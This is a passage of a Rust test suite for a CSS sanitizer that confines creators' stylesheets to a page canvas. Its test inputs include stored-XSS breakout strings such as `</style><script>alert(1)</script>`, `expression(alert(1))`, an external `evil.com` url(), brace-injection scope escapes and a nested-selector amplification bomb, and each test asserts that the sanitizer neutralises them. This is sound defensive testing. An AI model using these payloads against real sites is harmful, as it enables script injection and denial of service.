895 fn fast_infinite_animation_dropped() {
896 let (out, rej) = san(".spin { animation: spin 1s infinite }");
897 assert!(!normalize(&out).contains("animation:spin"));
898 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
899 }
900
901 #[test]
902 fn slow_infinite_animation_kept() {
903 let (out, rej) = san(".spin { animation: spin 3s infinite }");
904 assert!(out.to_lowercase().contains("animation"));
905 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
906 }
907
908 #[test]
909 fn fast_high_finite_count_animation_dropped() {
910 // UX-M5: a fast animation with a high *finite* iteration-count strobes too,
911 // not just `infinite`.
912 let (out, rej) = san(".spin { animation: spin 1s linear 100 }");
913 assert!(!normalize(&out).contains("animation:spin"));
914 assert!(rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
915
916 // Explicit property form is caught as well.
917 let (_out2, rej2) = san(
918 ".spin { animation-name: spin; animation-duration: 0.5s; animation-iteration-count: 50 }",
919 );
920 assert!(
921 rej2.iter()
922 .any(|r| r.kind == RejectionKind::AnimationBudget)
923 );
924 }
925
926 #[test]
927 fn fast_low_finite_count_animation_kept() {
928 // A handful of iterations at a fast duration is fine, not a strobe.
929 let (out, rej) = san(".spin { animation: spin 1s linear 3 }");
930 assert!(out.to_lowercase().contains("animation"));
931 assert!(!rej.iter().any(|r| r.kind == RejectionKind::AnimationBudget));
932 }
933
934 #[test]
935 fn expression_function_recorded() {
936 let (out, rej) = san(".x { width: expression(alert(1)) }");
937 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedFunction));
938 // Behavior must match the "blocked" contract: the output must not contain
939 // a working expression() call or its payload.
940 let lower = out.to_ascii_lowercase();
941 assert!(
942 !lower.contains("expression("),
943 "expression() must be neutralized in output: {out}"
944 );
945 assert!(
946 !lower.contains("alert(1)"),
947 "expression() payload must be stripped: {out}"
948 );
949 }
950
951 #[test]
952 fn brace_injection_cannot_escape_scope() {
953 // A creator trying to break out of the wrapper: the parse round-trip
954 // makes the stray brace a no-op, so nothing lands unscoped.
955 let out = scoped("color: red } body { background: red");
956 assert!(!out.contains("\nbody {"));
957 assert!(!out.contains("} body{"));
958 }
959
960 #[test]
961 fn platform_chrome_is_unreachable_from_creator_css() {
962 // The guarantee behind `templates/custom/_chrome_style.html`. The header
963 // and footer are siblings of the canvas, not descendants, so a creator
964 // rule that names them is still emitted under the canvas and matches
965 // nothing. This holds by structure, not by specificity or cascade layer,
966 // which is why the chrome block needs no !important and no layer of its
967 // own.
968 const CANVAS: &str = ".user-canvas#uc-11111111-1111-1111-1111-111111111111";
969 for attempt in [
970 ".mnw-chrome { display: none }",
971 ".mnw-chrome { background: red }",
972 ".mnw-chrome-footer a { color: red }",
973 "body .mnw-chrome { background: red }",
974 "html body .mnw-chrome-brand { font-weight: 100 }",
975 "* { background: red }",
976 ":root .mnw-chrome { background: red }",
977 ".mnw-chrome-actions, .mnw-chrome-brand { visibility: hidden }",
978 ] {
979 let out = scoped(attempt);
980 for line in out.lines().filter(|l| l.contains(".mnw-chrome")) {
981 assert!(
982 line.contains(CANVAS),
983 "a chrome selector escaped the canvas: {line}\nfrom: {attempt}"
984 );
985 }
986 // Nothing may be emitted at the top level of the sheet.
987 assert!(
988 !out.trim_start().starts_with(".mnw-chrome"),
989 "unscoped chrome rule from: {attempt}"
990 );
991 }
992 }
993
994 #[test]
995 fn idempotent_on_sanitized_output() {
996 let once =
997 scoped("p{color:red} .mnw-buy{display:none} .x{background:url(https://evil.com/y)}");
998 let twice = scoped(&once);
999 // Scoping a second time nests under the canvas again but must stay safe:
1000 // no external host, no display:none on mnw, reduced-motion present.
1001 assert!(!twice.contains("evil.com"));
1002 assert!(twice.contains("prefers-reduced-motion"));
1003 }
1004
1005 #[test]
1006 fn unsafe_scope_refused() {
1007 let (out, rej) = sanitize_css("p{color:red}", "evil}injection", &policy());
1008 assert_eq!(out, "");
1009 assert_eq!(rej.len(), 1);
1010 assert_eq!(rej[0].kind, RejectionKind::MalformedCss);
1011 }
1012
1013 /// Minify sanitized output so each rule is `selector{decls}` on no
1014 /// whitespace, for invariant checks.
1015 fn minify(css: &str) -> String {
1016 StyleSheet::parse(css, parser_options())
1017 .unwrap()
1018 .to_css(PrinterOptions {
1019 minify: true,
1020 ..Default::default()
1021 })
1022 .unwrap()
1023 .code
1024 }
1025
1026 #[test]
1027 fn universal_and_not_selectors_are_scoped() {
1028 // Selectors that classically escape a scope must all end up confined to
1029 // the canvas: no rule may begin with a bare html/body/* selector.
1030 for css in [
1031 "* { color: red }",
1032 ":not(.x) { color: red }",
1033 "html, body { color: red }",
1034 ":root { color: red }",
1035 ] {
1036 let out = minify(&scoped(css));
1037 for bad in ["}*{", "}body{", "}html{", "}:root{"] {
1038 assert!(!out.contains(bad), "unscoped `{bad}` in: {out}");
1039 }
1040 for bad in ["^*{", "^body{", "^html{"] {
1041 let lead = bad.trim_start_matches('^');
1042 assert!(
1043 !out.starts_with(lead),
1044 "leads with unscoped `{lead}`: {out}"
1045 );
1046 }
1047 assert!(out.contains(".user-canvas#uc-"), "scope missing: {out}");
1048 }
1049 }
1050
1051 #[test]
1052 fn media_wrapped_escape_is_scoped() {
1053 let out = scoped("@media screen { body { background: red } }");
1054 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
1055 }
1056
1057 #[test]
1058 fn style_tag_breakout_via_content_string_is_neutralized() {
1059 // The sanitized output is injected raw into `<style>{{ css|safe }}</style>`
1060 // (templates/custom/*.html). The most direct stored-XSS attempt is a
1061 // declaration whose value is a string closing the tag and opening a
1062 // script. The serializer must never emit a literal `</style>` (or a bare
1063 // `<script>`), `<` inside a CSS string token has to come back escaped.
1064 for css in [
1065 r#".x { content: "</style><script>alert(1)</script>" }"#,
1066 r".x::before { content: '</STYLE><SCRIPT>alert(1)</SCRIPT>' }",
1067 r#".x { content: "\3c /style\3e <script>" }"#,
1068 // url() is dropped (external) but the string form must also be safe.
1069 r#".x { background: url("</style><script>x</script>") }"#,
1070 ] {
1071 let out = scoped(css);
1072 let lower = out.to_lowercase();
1073 assert!(
1074 !lower.contains("</style>"),
1075 "literal </style> escaped the block for input `{css}`: {out}"
1076 );
1077 assert!(
1078 !lower.contains("<script>"),
1079 "literal <script> escaped the block for input `{css}`: {out}"
1080 );
1081 }
1082 }
1083
1084 // ── Newer blocked at-rules (the UX-S2 exhaustive-match additions) ──
1085 //
1086 // The match in `visit_rule` has no wildcard arm, so a future lightningcss
1087 // variant fails to COMPILE until triaged, the compiler enforces that no
1088 // variant is both blocked and allowed (a variant can't appear in two arms of
1089 // one match). These tests pin the RUNTIME behavior the compile-check can't:
1090 // that lightningcss parses each of these at-rules into the variant the match
1091 // blocks, so they are actually stripped and recorded rather than emitted.
1092
1093 fn assert_blocked_at_rule(css: &str, marker: &str) {
1094 let (out, rej) = san(css);
1095 assert!(
1096 !out.to_lowercase().contains(marker),
1097 "blocked at-rule `{marker}` leaked into output: {out}"
1098 );
1099 assert!(
1100 rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule),
1101 "no BlockedAtRule rejection recorded for `{marker}`"
1102 );
1103 // A sibling plain rule still survives, only the at-rule is dropped.
1104 assert!(out.contains("color"), "sibling style rule was lost: {out}");
1105 }
1106
1107 #[test]
1108 fn rejects_container() {
1109 assert_blocked_at_rule(
1110 "@container (min-width: 100px) { p { background: red } } p { color: red }",
1111 "@container",
1112 );
1113 }
1114
1115 #[test]
1116 fn rejects_scope() {
1117 assert_blocked_at_rule(
1118 "@scope (.a) { p { background: red } } p { color: red }",
1119 "@scope",
1120 );
1121 }
1122
1123 #[test]
1124 fn rejects_starting_style() {
1125 assert_blocked_at_rule(
1126 "@starting-style { p { background: red } } p { color: red }",
1127 "@starting-style",
1128 );
1129 }
1130
1131 #[test]
1132 fn rejects_view_transition() {
1133 assert_blocked_at_rule(
1134 "@view-transition { navigation: auto } p { color: red }",
1135 "@view-transition",
1136 );
1137 }
1138
1139 // ---- The caps, at their exact boundaries -------------------------------
1140 //
1141 // Filed from the first mutation run of this module (infra `c1b3900b`,
1142 // 2026-08-26): 31 of 108 mutants survived, and six of them lived in the two
1143 // cap comparisons. A cap tested only far past its limit does not pin the
1144 // comparison, `>` and `>=` agree on 5001 rules and disagree on 5000, so the
1145 // boundary is where the test has to stand.
1146
1147 /// `n` single-selector rules: rule-heavy, selector-light.
1148 fn n_rules(n: usize) -> String {
1149 use std::fmt::Write;
1150 let mut css = String::new();
1151 for i in 0..n {
1152 let _ = write!(css, ".c{i}{{color:red}}");
1153 }
1154 css
1155 }
1156
1157 /// One rule carrying `n` selectors: selector-heavy, rule-light. Its
1158 /// flattening projection is `n` as well, since the projection takes the
1159 /// widest rule rather than the sum.
1160 fn one_rule_of(n: usize) -> String {
1161 let selectors = (0..n)
1162 .map(|i| format!(".s{i}"))
1163 .collect::<Vec<_>>()
1164 .join(",");
1165 format!("{selectors}{{color:red}}")
1166 }
1167
1168 fn refused_for_complexity(css: &str) -> bool {
1169 let (out, rejections) = san(css);
1170 out.is_empty()
1171 && rejections
1172 .iter()
1173 .any(|r| r.kind == RejectionKind::ComplexityLimit)
1174 }
1175
1176 #[test]
1177 fn exactly_max_rules_is_accepted() {
1178 let (out, rejections) = san(&n_rules(MAX_RULES));
1179 assert!(
1180 !rejections
1181 .iter()
1182 .any(|r| r.kind == RejectionKind::ComplexityLimit),
1183 "the limit is inclusive: {MAX_RULES} rules are allowed"
1184 );
1185 assert!(!out.is_empty());
1186 }
1187
1188 #[test]
1189 fn one_rule_past_the_cap_is_refused() {
1190 // Rule-heavy and nothing else: this sheet's selector count and its
1191 // flattening projection both stay far inside their limits, so only the
1192 // rule half of the comparison can refuse it.
1193 assert!(refused_for_complexity(&n_rules(MAX_RULES + 1)));
1194 }
1195
1196 #[test]
1197 fn exactly_max_selectors_is_accepted() {
1198 let (out, rejections) = san(&one_rule_of(MAX_SELECTORS));
1199 assert!(
1200 !rejections
1201 .iter()
1202 .any(|r| r.kind == RejectionKind::ComplexityLimit),
1203 "the limit is inclusive: {MAX_SELECTORS} selectors are allowed, and \
1204 the flattening projection of one such rule is exactly the limit too"
1205 );
1206 assert!(!out.is_empty());
1207 }
1208
1209 #[test]
1210 fn the_selector_cap_is_reached_by_breadth_too() {
1211 // 200 rules of 51 selectors: 10,200 selectors, which is past the cap,
1212 // while rule_count (200) and the projection (51, the widest rule) are
1213 // both nowhere near theirs. This is the shape that proves
1214 // `selector_count` accumulates at all, since a counter that never
1215 // leaves zero is invisible to every other check.
1216 use std::fmt::Write;
1217 let mut css = String::new();
1218 for rule in 0..200 {
1219 let selectors = (0..51)
1220 .map(|s| format!(".r{rule}s{s}"))
1221 .collect::<Vec<_>>()
1222 .join(",");
1223 let _ = write!(css, "{selectors}{{color:red}}");
1224 }
1225 assert!(refused_for_complexity(&css));
1226 }
1227
1228 // ---- The flattening projection ----------------------------------------
1229
1230 /// The nested-`&` bomb from infra `bd562c12`, ~30x per level.
1231 fn amplifying_rule() -> String {
1232 let amp = "&".repeat(30);
1233 format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}")
1234 }
1235
1236 #[test]
1237 fn nested_amplification_is_refused_inside_at_rules_too() {
1238 // The projection has to descend through the grouping at-rules it allows,
1239 // or the bomb is one `@media print` away from being invisible again.
1240 let inner = amplifying_rule();
1241 for css in [
1242 format!("@media print {{ {inner} }}"),
1243 format!("@supports (display: grid) {{ {inner} }}"),
1244 format!("@layer base {{ {inner} }}"),
1245 ] {
1246 assert!(
1247 refused_for_complexity(&css),
1248 "amplification survived its wrapper: {css:.60}"
1249 );
1250 }
1251 }
1252
1253 #[test]
1254 fn the_projection_walks_past_the_first_rule() {
1255 // The early return at the foot of the walk is an optimisation, and an
1256 // optimisation that fires too early is a hole: a cheap rule first, the
1257 // bomb second.
1258 let css = format!(".a {{ color: red }} {}", amplifying_rule());
1259 assert!(refused_for_complexity(&css));
1260 }
1261
1262 // ---- Parser options ----------------------------------------------------
1263
1264 #[test]
1265 fn nesting_survives_into_the_output() {
1266 // `ordinary_nesting_is_not_refused` passes even with nesting disabled,
1267 // because the outer declarations still print. Assert the nested rule
1268 // itself arrives.
1269 let out = scoped(".card { color: red; &:hover { color: blue } }");
1270 assert!(
1271 out.contains(":hover"),
1272 "the nested rule was dropped rather than parsed: {out}"
1273 );
1274 }
1275
1276 #[test]
1277 fn one_bad_rule_does_not_discard_the_sheet() {
1278 // A stray `}` is a hard parse error without error recovery, and this
1279 // crate's answer to a fatal parse failure is to render nothing at all.
1280 // Recovery is what keeps one typo from blanking a creator's page. It
1281 // does not save everything: recovery still discards from the stray
1282 // brace onward, so `h1` is gone either way and `p` is the difference.
1283 let (out, rejections) = san("p { color: red } } h1 { color: blue }");
1284 assert!(
1285 !rejections
1286 .iter()
1287 .any(|r| r.kind == RejectionKind::MalformedCss),
1288 "one stray brace discarded the whole sheet: {rejections:?}"
1289 );
1290 assert!(
1291 out.to_lowercase().contains("red"),
1292 "the whole sheet was discarded: {out}"
1293 );
1294 }
1295
1296 // ---- The item-page entry point -----------------------------------------
1297
1298 #[test]
1299 fn item_css_is_scoped_to_the_item_canvas() {
1300 // The only test that enters through `sanitize_item_css`. Without it the
1301 // whole function is unobserved: item pages have no HTML of their own,
1302 // so a wrong scope here styles nothing and nobody sees an error.
1303 let (out, rejections) = sanitize_item_css("p { color: red }", SCOPE, &policy());
1304 assert!(rejections.is_empty());
1305 assert!(
1306 out.contains(&format!(".item-canvas#ic-{SCOPE}")),
1307 "item CSS was not scoped to the item canvas: {out:.200}"
1308 );
1309 }
1310
1311 // ---- Reaching a system slot through the selector forms -----------------
1312
1313 #[test]
1314 fn hiding_a_system_slot_through_any_and_host_is_stripped() {
1315 // `:is`/`:where`/`:not`/`:has` have their own arm and their own test.
1316 // These two do not, and a selector form the walk does not recurse into
1317 // is a way to hide a buy button.
1318 for selector in [":-webkit-any(.mnw-buy)", ":host(.mnw-buy)"] {
1319 let (_out, rejections) = san(&format!("{selector} {{ display: none }}"));
1320 assert!(
1321 rejections
1322 .iter()
1323 .any(|r| r.kind == RejectionKind::HidingProperty),
1324 "{selector} reached a system slot unchecked"
1325 );
1326 }
1327 }
1328
1329 // ---- The hiding heuristics, on their visible side ----------------------
1330
1331 #[test]
1332 fn the_hiding_thresholds_keep_what_is_still_visible() {
1333 // Every one of these is one comparison away from being a hide, and the
1334 // suite only ever asserted the hiding side. A guard that also eats
1335 // ordinary declarations is a bug creators would hit and we would not.
1336 for decl in [
1337 // The threshold is `< 0.1`, so a tenth is still visible.
1338 "opacity: 0.1",
1339 // A transform is not a hide unless it scales to nothing.
1340 "transform: translateX(10px)",
1341 // Nor is a clip-path unless it clips everything away.
1342 "clip-path: inset(0)",
1343 // The text-indent trick is large and NEGATIVE.
1344 "text-indent: 5px",
1345 ] {
1346 let (out, rejections) = san(&format!(".mnw-buy {{ {decl} }}"));
1347 assert!(
1348 !rejections
1349 .iter()
1350 .any(|r| r.kind == RejectionKind::HidingProperty),
1351 "{decl} is visible and was stripped anyway"
1352 );
1353 assert!(!out.is_empty(), "{decl} produced nothing");
1354 }
1355 }
1356
1357 // ---- The strobe guard, at its boundary ---------------------------------
1358
1359 #[test]
1360 fn an_infinite_animation_at_exactly_two_seconds_is_kept() {
1361 // The budget is "faster than 2s", so 2s itself is allowed.
1362 let (out, rejections) = san(".spin { animation: spin 2s infinite }");
1363 assert!(
1364 !rejections
1365 .iter()
1366 .any(|r| r.kind == RejectionKind::AnimationBudget),
1367 "2s is the allowed side of the boundary"
1368 );
1369 assert!(out.to_lowercase().contains("animation"));
1370 }
1371
1372 #[test]
1373 fn milliseconds_are_read_as_milliseconds() {
1374 // A unit test rather than a sheet, because lightningcss prints
1375 // `3000ms` back as `3s` and the ms branch is only reliably reached from
1376 // here. Getting the conversion wrong in either direction lets a 500ms
1377 // strobe through or eats a three-second animation.
1378 assert_eq!(parse_seconds("500ms"), Some(0.5));
1379 assert_eq!(parse_seconds("3000ms"), Some(3.0));
1380 assert_eq!(parse_seconds("2s"), Some(2.0));
1381 assert_eq!(parse_seconds("infinite"), None);
1382 }
1383 }
1384
1385 #[cfg(test)]
1386 mod proptests {
1387 use super::*;
1388 use proptest::prelude::*;
1389
1390 const SCOPE: &str = "22222222-2222-2222-2222-222222222222";
1391
1392 fn policy() -> UrlPolicy {
1393 UrlPolicy::new(
1394 "https://u.makenot.work/a/p",
1395 [
1396 "makenot.work".to_string(),
1397 "u.makenot.work".to_string(),
1398 "cdn.makenot.work".to_string(),
1399 ],
1400 )
1401 .unwrap()
1402 }
1403
1404 proptest! {
1405 // Arbitrary input never panics, and the output is always valid CSS
1406 // (it re-parses cleanly).
1407 #[test]
1408 fn never_panics_output_reparses(input in "\\PC{0,400}") {
1409 let (out, _rej) = sanitize_css(&input, SCOPE, &policy());
1410 prop_assert!(StyleSheet::parse(&out, parser_options()).is_ok(), "invalid output: {out}");
1411 }
1412
1413 // A randomly-built external url() is always neutralized.
1414 #[test]
1415 fn external_url_always_stripped(host in "[a-z]{3,10}", tld in "(com|net|io|xyz)", path in "[a-z0-9]{1,10}") {
1416 let domain = format!("{host}.{tld}");
1417 let css = format!(".x {{ background: url(https://{domain}/{path}) }}");
1418 let out = sanitize_css(&css, SCOPE, &policy()).0;
1419 let leaked = out.contains(&domain);
1420 prop_assert!(!leaked, "leaked host: {}", out);
1421 }
1422
1423 // Every non-empty sanitized sheet confines its style rules to the canvas
1424 // and ends with the reduced-motion guard.
1425 #[test]
1426 fn always_scoped_and_guarded(sel in "[a-z][a-z0-9]{0,8}", prop in "(color|background-color|margin)") {
1427 let css = format!("{sel} {{ {prop}: inherit }}");
1428 let out = sanitize_css(&css, SCOPE, &policy()).0;
1429 let scope_tag = format!("uc-{SCOPE}");
1430 let has_scope = out.contains(&scope_tag);
1431 let has_guard = out.contains("prefers-reduced-motion");
1432 prop_assert!(has_scope, "missing scope: {}", out);
1433 prop_assert!(has_guard, "missing guard: {}", out);
1434 }
1435 }
1436 }
1437